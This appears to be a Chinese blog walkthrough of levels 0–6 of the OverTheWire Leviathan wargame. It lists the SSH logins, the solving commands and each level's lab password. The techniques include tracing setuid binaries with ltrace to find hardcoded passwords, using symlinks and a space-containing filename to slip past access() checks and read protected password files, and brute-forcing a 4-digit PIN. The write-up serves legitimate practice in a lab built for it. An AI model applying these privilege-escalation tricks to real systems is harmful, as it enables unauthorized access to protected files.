zoukankan      html  css  js  c++  java
  • wargames-Leviathan

    官网

    https://overthewire.org/wargames/leviathan/

    0-6

    0

    ssh leviathan0@leviathan.labs.overthewire.org -p 2223
    

    登陆密码:

    leviathan0
    
    ls
    ls -a
    cat .backup/bookmarks.html |grep password
    

    进去后使用ls查看命令发现没有东西,那么可能有.开头的隐藏文件,使用ls -a进行查看(tab键自动补齐.backup文件夹下面的文件):

    由此知道下关密码为:rioGegei8m

    1

    ssh leviathan1@leviathan.labs.overthewire.org -p 2223
    
    rioGegei8m
    
    ltrace ./check
    123
    ./check
    sex
    cat /etc/leviathan_pass/leviathan2
    

    有一个check文件,可以使用file命令查看一下:

    leviathan1@leviathan:~$ ls
    check
    leviathan1@leviathan:~$ file check
    check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c735f6f3a3a94adcad8407cc0fda40496fd765dd, not stripped
    leviathan1@leviathan:~$ 
    

    提示我们这是一个可执行文件
    这里我们还需要了解一个命令ltraceltrace的功能是能够跟踪进程的库函数调用(ltrace详解: https://www.cnblogs.com/machangwei-8/p/10388938.html ):
    ltrace ./check提示输入密码,随便输入一个错误的,可以看到使用了strcmp()函数,对用户输入的密码进行与sex进行对比,那么密码就是sex
    我们直接运行./check再输入密码sex
    再执行cat /etc/leviathan_pass/leviathan2

    获得下关密码:

    ougahZi8Ta
    

    2

    ssh leviathan2@leviathan.labs.overthewire.org -p 2223
    
    ougahZi8Ta
    
    ls
    ./printfile
    ltrace ./printfile
    ltrace ./printfile 1.txt
    ./printfile 1.txt
    mkdir /tmp/sillage
    cd /tmp/sillage
    echo 'hello' >1.txt
    ltrace ~/printfile 1.txt
    ln -s /etc/leviathan_pass/leviathan3 a
    touch b a
    ~/printfile b a
    
    ln -s 源文件 目标文件  //linux的软链接,相当于windows快捷方式
    

    通过ltrace命令发现,printfile后面要跟一个文件(直接运行printfile也会提示我们),./printfile会通过调用access()检查文件是否存在,确认存在之后再打印出文件内容。
    于是思路还是为我们需要的文件创建软链接,再打印该软链接获得密码
    直接利用printfile打印/etc/leviathan_pass/leviathan3的软链接会提示You cant have that file...

    创建一个文件名包含+空格的文件,并且在其前面(或后面)的字符串为/etc/leviathan_pass/leviathan3的链接文件的文件名,这样就可以绕过限制。通过读取这个特殊文件从而读取/etc/leviathan_pass/leviathan3的链接文件,也许你还不太明白,但看了下面两张截图你就懂了:

    linux会将x xx.fileSuffix(fileSuffix为文件后缀,也可以没有)的文件识别为两个文件,一个是x,一个是xx,这里我们可以顺便验证一下:

    下关密码:

    Ahdiemoo1j
    

    3

    ssh leviathan3@leviathan.labs.overthewire.org -p 2223
    
    Ahdiemoo1j
    
    ls
    ltrace ./level3
    111
    ./level3
    snlprintf
    id
    cat /etc/leviathan_pass/leviathan4
    
    //id  命令用于显示用户的ID,以及所属群组的ID
    

    下关密码:

    vuH0coox6m
    

    4

    ssh leviathan4@leviathan.labs.overthewire.org -p 2223
    
    vuH0coox6m
    
    ls
    ls -a
    cd .trash
    ./bin
    二进制转ascii
    

    二进制转ascii: https://www.binaryhexconverter.com/binary-to-ascii-text-converter
    下关密码:

    Tith4cokei
    

    5

    ssh leviathan5@leviathan.labs.overthewire.org -p 2223
    
    Tith4cokei
    
    ls
    ./leviathan5
    echo 'hello'>/tmp/file.log
    ./leviathan5
    ln -s /etc/leviathan_pass/leviathan6  /tmp/file.log
    ./leviathan5
    

    leviathan5会读取/tmp/file.log的文件内容,那么思路为将file.log作为我们所需文件的软链接,从而获取下关密码

    下关密码:

    UgaoFee4li
    

    6

    ssh leviathan6@leviathan.labs.overthewire.org -p 2223
    
    UgaoFee4li
    
    ltrace ./leviathan6
    for i in {0000..9999};do ./leviathan6 $i;done
    id
    cat /etc/leviathan_pass/leviathan7
    

    使用ltrace跟踪时,提示我们4 digit code,是一个四位数的数
    那么可以使用暴力破解的方式,输入for i in {0000..9999};do ./leviathan6 $i;done进行爆破

    下关密码:

    ahy7MaeBo9
    

    文章部分内容参考:
    https://www.jianshu.com/p/d722e4d5525f?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation
    https://blog.csdn.net/caiqiiqi/article/details/55347041

    作者:
    除特别声明为原创博文外,均可转载,也欢迎转载,未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利,谢谢您的配合。
  • 相关阅读:
    haproxy 2.5 发布
    cube.js sql 支持简单说明
    基于graalvm 开发一个cube.js jdbc driver 的思路
    apache kyuubi Frontend 支持mysql 协议
    oceanbase 资源池删除说明
    基于obd 的oceanbase 扩容说明
    jfilter一个方便的spring rest 响应过滤扩展
    cube.js schema 定义多datasource 说明
    typescript 编写自定义定义文件
    meow 辅助开发cli 应用的工具
  • 原文地址:https://www.cnblogs.com/sillage/p/14844267.html
Copyright © 2011-2022 走看看